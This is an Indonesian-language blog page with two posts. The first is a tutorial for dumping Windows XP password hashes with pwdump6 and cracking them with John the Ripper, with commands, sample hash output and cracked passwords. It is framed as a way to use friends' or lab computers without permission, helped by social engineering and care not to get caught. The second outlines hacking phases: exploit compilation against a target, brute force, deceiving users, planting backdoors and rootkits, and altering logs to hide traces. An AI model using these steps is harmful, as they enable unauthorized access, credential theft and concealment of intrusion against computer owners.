Hack Windows XP (SP2) Passwords

Hack Windows XP (SP2) Passwords
Apakah anda pernah menggunakan komputer di Lab atau pinjam komputer teman atau bahkan menggunakan komputer di tempat umum? Nah, biasanya klo di Lab (berdasarkan pengalaman pribadi) komputer pasti di-password dan jika ingin masuk harus tanya dulu ke sang empunya. Nah, sekarang kita dapat melihat password dari komputer yang kita gunakan tanpa merestart komputer atau pun tanpa menginstall program apapun seperti Cain, L0pthCrack, dsb. Hanya dibutuhkan sedikit ‘kepercayaan’ untuk meminjam komputer (istilah kerennya social engineering) dan 2 buah program, yaitu pwdump6 dan john the ripper. Tapi klo kebetulan ada login umum dengan tipe administrator, itu namanya Hoki! ga perlu cape2 pinjam login teman lagi :-D.
Sebelumnya mungkin anda pernah mendapatkan tutorial mengenai cara menge-hack password user yang ada Windows XP atau NT menggunakan pwdump. Yup, mungkin tutorial ini akan mirip dengan bagaimana cara menge-hack Windows XP, terutama Windows XP SP2. Lalu apa bedanya dengan tutorial yang lain? Saat ini Windows XP SP2 (atau mungkin juga SP1, CMIIW), menggunakan Syskey untuk memproteksi agar HASH (tempat menyimpan password yang dienkripsi) tidak dapat dibaca dan didump menggunakan pwdump atau samdump. Untuk lebih jelasnya berikut penjelasan mengenai Syskey [1] :

Syskey is a Windows feature that adds an additional encryption layer to the password hashes stored in the SAM database. The main purpose of this feature is to deter ‘offline’ attack. In fact one of the most common ways to gather passwords is to copy the system SAM database and then use one of the many good password crackers to “recover” the passwords; of course physical access is almost always required. So with syskey the attacker needs to remove the additional encryption layer to get the password hashes.

Jika dulu mungkin di Windows NT atau XP (sebelum SP2), kita masih bisa menggunakan pwdump atau bahkan langsung dengan KaHT, maka untuk Windows XP SP2 cara tersebut tidak dapat digunakan lagi (mungkin lebih tepatnya, pwdump tersebut tidak dapat digunakan lagi). Nah disinilah letak perbedaan dengan tutorial sebelumnya. Jika sebelumnya kita menggunakan pwdump versi lama, maka sekarang digunakan pwdump6 yang dikembangkan oleh fizzgig and the foofus.net Team. Kalau baca README dari pwdump6 ini, maka pwdump6 adalah :

pwdump6 is a password hash dumper for Windows 2000 and later systems. It is capable of dumping LanMan and NTLM hashes as well as password hash histories. It is based on pwdump3e, and should be stable on XP SP2 and 2K3. If you have had LSASS crash on you using older tools, this should fix that.

A significantly modified version of pwdump3e, this program is able to extract NTLM and LanMan hashes from a Windows target, regardless of whether Syskey is turned on. It is also capable of displaying password histories if they are available. It outputs the data in L0phtcrack-compatible form, and can write to an output file

Oh iya, agar pwdumpd6 dapat dijalankan dan mendapatkan HASH file dibutuhkan account yang mempunyai akses setara dengan Administrator. Nah, oleh karena itu kita harus menjalankan sedikit social engineering. Bilang aja ketemen kita, klo mengakses workgroup, tapi ga bisa klo pake login biasa. Tapi tenang aja, biasanya secara default orang-orang kebanyakan mebuat user dengan tipe account Administrator. Atau gunakan berbagai macam cara, daya, upaya maupun rayuan agar kita bisa dapat login terlebih dulu.

Jika udah punya akses dengan login tipe adiministrator, cara selanjutnya adalah tinggal menjalankan pwdump6. Jika anda punya flashdisk, simpan dan bawa terus pwdump6 ini kemanapun ada pergi, siapa tahu berguna suatu saat.. :-D. Ok, langsung aja kita jalankan pwdump6 ini. Sebaiknya copy dulu pwdump6 ke Hardisk (jangan dijalankan dari flashdik). Sebelumnya downlod dulu pwdump6 ini dari sini atau download dari mirror situs saya disini.

1. Jalankan CMD (Run->cmd)

2. Jalankan pwdump6 seperti berikut (misalnya PwDump6 berada di folder D:\PwDump6)

D:\PwDump6>PwDump.exe -o pass.txt 127.0.0.1

pwdump6 Version 1.3.0 by fizzgig and the mighty group at foofus.net
Copyright 2006 foofus.net

This program is free software under the GNU
General Public License Version 2 (GNU GPL), you can redistribute it and/or
modify it under the terms of the GNU GPL, as published by the Free Software
Foundation. NO WARRANTY, EXPRESSED OR IMPLIED, IS GRANTED WITH THIS
PROGRAM. Please see the COPYING file included with this program
and the GNU GPL for further details.

Using pipe {C411BDE9-594E-47F4-99B5-E94ADF194A45}
Key length is 16
Completed.

3. Setelah itu akan didapatkan file pass.txt yang berisi daftar user dan password yang masih dienkripsi. Contohnya akan tampak seperti berikut :

ach:1003:2BFA42D08601B951ABD697149E2F5967:73098347042E9109FA584CE843018F4F:::
Administrator:500:934A4750EC9859B3EA397B0F6EC18E34:732BD09D6834DA4A5A30300A6A045BF8:::
coba:1004:FBE4F28EE205F0BA79999C25263AA9AA:A69C199A4DF77CD41FCA6EA916A93868:::
Guest:501:NO PASSWORD********************* :NO PASSWORD*********************:::
HelpAssistant:1000:B3D2AE56C93F27B43C4F8419B1A21E9B: DC3DBB258A10B0C7EA9D92133267B905:::
SUPPORT_388945a0:1002:NO PASSWORD*********************: DF1DB672DA1B5C045ECA2490CA753D3B:::

4. Yosh!! password sudah ditangan. Proses selanjutnya adalah menge-crack file pass.txt dengan bantuan John The Ripper. Sebaiknya simpan dulu file pass.txt ke USB atau upload ke tempat yang aman, karena proses cracking ini bisa dilakukan kapan saja dan dimana saja. Berdasarkan pengalaman, kalau passwordnya tidak terlalu sulit ditebak seperti “adminkeren”, “qwerty123″, biasanya dibutuhkan waktu yang tidak terlalu lama untuk mengecracknya lewat John The Ripper. Tapi kalau password menggunakan kombinasi yang aneh-aneh seperti “P4ssW0rD”, “S03S4h”, dsb, biasanya membutuhkan waktu lama, bisa ditinggal tidur atau maen aja dulu. Ok, sekarang gini nih cara ngecraknya.

Download John The Ripper untuk Windows disini. Untuk komputer yang menggunakan Prosesor AMD, sebaiknya menggunakan “john-mmx.exe”. Atau bagi yang menggunakan intel atau AMD, dapat menggunakan “John-386.exe”. Sebelumnya copy file pass.txt ke dalam folder tempat “John-mmx.exe” atau “John-386.exe” berada (John171w\john1701\run). Setelah itu tinggal jalankan perintah berikut dan tunggu dengan sabar :

D:\john171w\john1701\run>john-mmx.exe pass.txt
Loaded 8 password hashes with no different salts (NT LM DES [64/64 BS MMX])
REN123 (Administrator:2)
TEBAK (coba:2)
ADMINKE (Administrator:1)
MUDAHDI (coba:1)

Yosh!! sekarang passwordnya sudah terlihat secara kasat mata. Jadi password untuk user “Administrator” adalah “adminkeren123″, diperoleh dari menggabungkan Administrator:2 dan Administrator:2.

Administrator:1+Administrator:2 = adminkeren123

Sedangkan untuk user “coba” adalah “mudahditebak”!!

Mudah bukan? Intinya sih tinggal ambil HASH file (password yang dienkripsi) menggunakan pwdump6 lalu crack hasilnya dengan John The Ripper.

Nah, sekarang kalau kita mau pakai komputer teman di Lab, ga usah cari2 orangnnya lagi. Tinggal pake aja langsung user Admin lagi, tapi jangan sampai ketahuan ama dia….. Atau klo anda lupa password Administrator, tidak perlu mereboot komputer, lalu mereset password anda. Tinggal ikut langkah2 diatas aja!
Referensi :

[1]. http://studenti.unina.it/~ncuomo/syskey
[2]. http://chaidir.wordpress.com

Thanks to fizzgig for you great tools, pwdump6 (http://www.foofus.net/fizzgig/pwdump)! I’ve been looking for this tools for a log time ago! Thanks dude!! and Thanks to pen-test@securityfocus.com!

Update : Cara yang lebih mudah dapat ditemukan di Hack Windows XP Password dengan Ophcrac
Konsep Dasar hacking
Intro

Dalam suatu kesempatan, saya pernah melihat seorang auditor keamanan jaringan melalukan penetration test (pen-test) terhadap suatu sistem IT. Karena penasaran saya melihat sedikit2 cara penetration test yang dilakukan. Waktu itu saya belum banyak tahu tools apa aja yang digunakan, yang saya tau dia menggunakan tcpdump untuk menganalisis paket apa aja yang lewat, trus untuk men-scan beberapa host menggunakan Nessus. Ada salah satu aplikasi yang digunakan berbasis web yang terdapat kumpulan beberapa exploit. Waktu itu saya belum tahu aplikasi apa itu, yang saya ingat aplikasi itu menggunakan alamat http://127.0.0.1:55555, nah berbekal port 55555 saya mencari di google, dan ternyata itu adalah Metasploit Framework!.

Peristiwa itu menginspirasikan saya untuk mengenang masa-masa lalu ketika masih seneng2nya ngoprek dan belum ‘tercemar’ oleh DotA. Akhirnya sekarang saya ingin belajar ngoprek lagi, tp lebih fokus ke exploitnya saja. Tulisannya ini akan saya buat menjadi tiga bagian. Bagian pertama mengenai bagaimana salah satu cara umum yang dilakukan untuk menge-hack suatu system. Disini saya lebih menitikberatkan untuk hacking OS Windows XP, karena OS ini paling banyak dipakai orang. Bagian kedua lebih banyak ke teori mengenai exploit. Tapi karena mungkin akan sangat sulit dipahami (saya sendiri msh blm bisa membuat exploit sendiri), saya hanya menuliskan hasil terjemahan yang membahas apa itu dan cara kerja exploit. Sedangkan bagian terakhir merupakan praktek bagaimana mengelakukan penetration test menggunakan metasploit di Windows XP.



Bagian 1

*ini merupakan artikel lama mengenai salah satu cara umum yang dilakukan untuk hacking. (artikel ini jg di mirror oleh Negative a.k.a Jim Geovedi di sini). Langkah dibawah ini merupakan cara ’standar’, hacking sebenarnya tidak harus selalu sesuai dengan ’standar’ ini.


Hacking buat pemula

- by aCh


Artikel ini ditujukan bagi pemula, dan disusun oleh pemula. Ditulis untuk pengetahuan semata. Untuk temen2 yg udah ahli, sok aja dilewat, tapi dibaca juga gpp….


Apa sebenarnya hacking itu? klo menurut pengertian gue, hacking adalah ngoprek. Yup, hacking adalah ngoprek, mempelajari sesuatu dengan keingintahuan (curiosity) yg tinggi, ngutak atik sesuatu, ‘ngudek-ngudek’ sampai ke ‘jeroannya’. Sesuatunya apa dong? ya terserah… bisa komputer, mobil, motor, mesin. Tapi masalahnya ada ngga ya hacker mobil, hacker motor, atau hacker pesawat terbang?? hehe… Walaupun saat ini hacking identik dengan ‘bobol-membobol’, tapi gue kurang setuju klo cuman bobol server orang doang!. Ada yang bilang ‘Hacking is Art’, trus dimana letak seninya dong? Mau tau pengertian hacking sebenarnya, coba baca artikel sebelumnya (How to Become A Hacker). Di situ dijelasin bahwa hacker berkaitan dengan kemahiran teknis serta kegemaran menyelesaikan masalah dan mengatasi keterbatasan. Contoh hacker pada saat ini yang sering-sering disebut adalah Linus Torvald (tau ngga? itu lho yang menciptakan Linux). Apa dia tukang bobol? belum tentu kan….


Pada artikel ini, gue pengen membagi pengalaman mengenai Hacking, walaupun sampai saat ini gue belum pernah nge-Hack ke server orang. Salah satu cara untuk mencoba simulasi Hack yaitu H3cky0uRs3lf! Buat komputer kita sebagai server (sekaligus belajar konfigurasi server) trus install program yg dibutuhkan. Misalnya klo mo Web Hacking, coba install Apache atau IIS. Atau kita sesuaikan dengan exploit yang udah kita dapet. Tapi lebih baik install Linux atau FreeBSD dulu di komputer pribadi, trus konfigurasi sebagai server, lalu simulasi Hack, setelah itu baru Hack Betulan… Apalagi klo di kost ada jaringan.



Pro dan Kontra Hacking
Pro
Kontra

Etika Hacking
Semua informasi adalah free
Jika semua informasi adalah free, maka tidak ada ladi privacy

Aspek Security
Intrusion adalah ilustrasi kelemahan sistem
Tidak perlu menjadi pencuri untuk menunjukkan pintu yang tidak terkunci

Idle Machines
Hacking hanya pada idle machines
idle machines milik siapa ?

science education
hanya membobol tapi tidak merusak
“hacker wannabe” berpotensi sangat besar untuk merusak




Okeh, sekarang waktunya melakukan aksi…



1. Fase Persiapan

~ Mengumpulkan informasi sebanyak-banyaknya

- Secara Aktif : - portscanning

- network mapping

- OS Detection

- application fingerprinting

Semua itu bisa dilakukan menggunakan toolz tambahan seperti nmap atau netcat


- Secara Pasif : - mailing-list (jasakom, newbie_hacker, hackelink, dsb)

- via internet registries (informasi domain, IP Addres)

- Website yang menjadi terget



2. Fase Eksekusi
~ Setelah mendapatkan informasi, biasanya akan didapatkan informasi mengenai OS yg digunakan, serta port yang terbuka dengan daemon yg sedang berjalan. Selanjutnya mencari informasi mengenai vulnerability holes (celah kelemahan suatu program) dan dimanfaatkan menggunakan exploit (packetstromsecurity.org, milw0rm, milis bugtraq, atau mencari lewat #IRC).
~ Mengekspolitasi Vulnerability Holes
- compile eksploit -> local host ->

$gcc -o exploit exploit.c

$./exploit

# hostname (# tanda mendapatkan akses root)

remote host -> $gcc -o exploit exploit.c

$./exploit -t www.target.com

# (klo beruntung mendapatkan akes root)

~ Brute Force

- Secara berulang melakukan percobaan otentifikasi.

- Menebak username dan password.

- Cracking password file


~ Social Engineering

- Memperdayai user untuk memeberi tahu Username dan password

- Intinya ngibulin user….



3. Fase Setelah Eksekusi

~ Menginstall backdoor, trojans, dan rootkit

~ Menghapus jejak dengan memodifikasi file log agar tidak dicurigai admin

~ Menyalin /etc/passwd atau /etc/shadow/passwd



Nah, intinya seh cara masuk ke server seseorang seperti fase diatas. Mencari informasi, temukan exploit, dan tinggalkan backdoor. Cuma masalahnya hacking bukanlah segampang cara-cara diatas. Itu hanyalah teori, banyak hal yang harus diperhatikan jika ingin mempraketekkan hacking ke server seseorang. Jangan sekali-kali mencoba2 hacking ke server orang tanpa memperhatikan anonimitas (apalagi klo connectnya lewat komputer pribadi tanpa menggunakan proxy). Ntar klo ketahuan bisa repot. Saran gue, cobalah pada mesin localhost dulu (komuter pribadi), klo terhubung ke LAN lebih bagus. Sediakan server yang khusus buat dioprek. Kalaupun pun ga terhubung ke jaringan, kita masih bisa menggunakan Virtual Machine menggunakan VMWare seperti yang nanti akan dibahas pada bagian 3!




Referensi :

-Hacking and Defense, Jim Geovedi, negative@magnesium.net

-Network Defense, Jim Geovedi, negative@magnesium.net

-http://chaidir.wordpress.com
aLL info u Want

Pindank Area are
UNDER CONSTRUCTION

contact person :
hot_pindank@yahoo.com

0 komentar: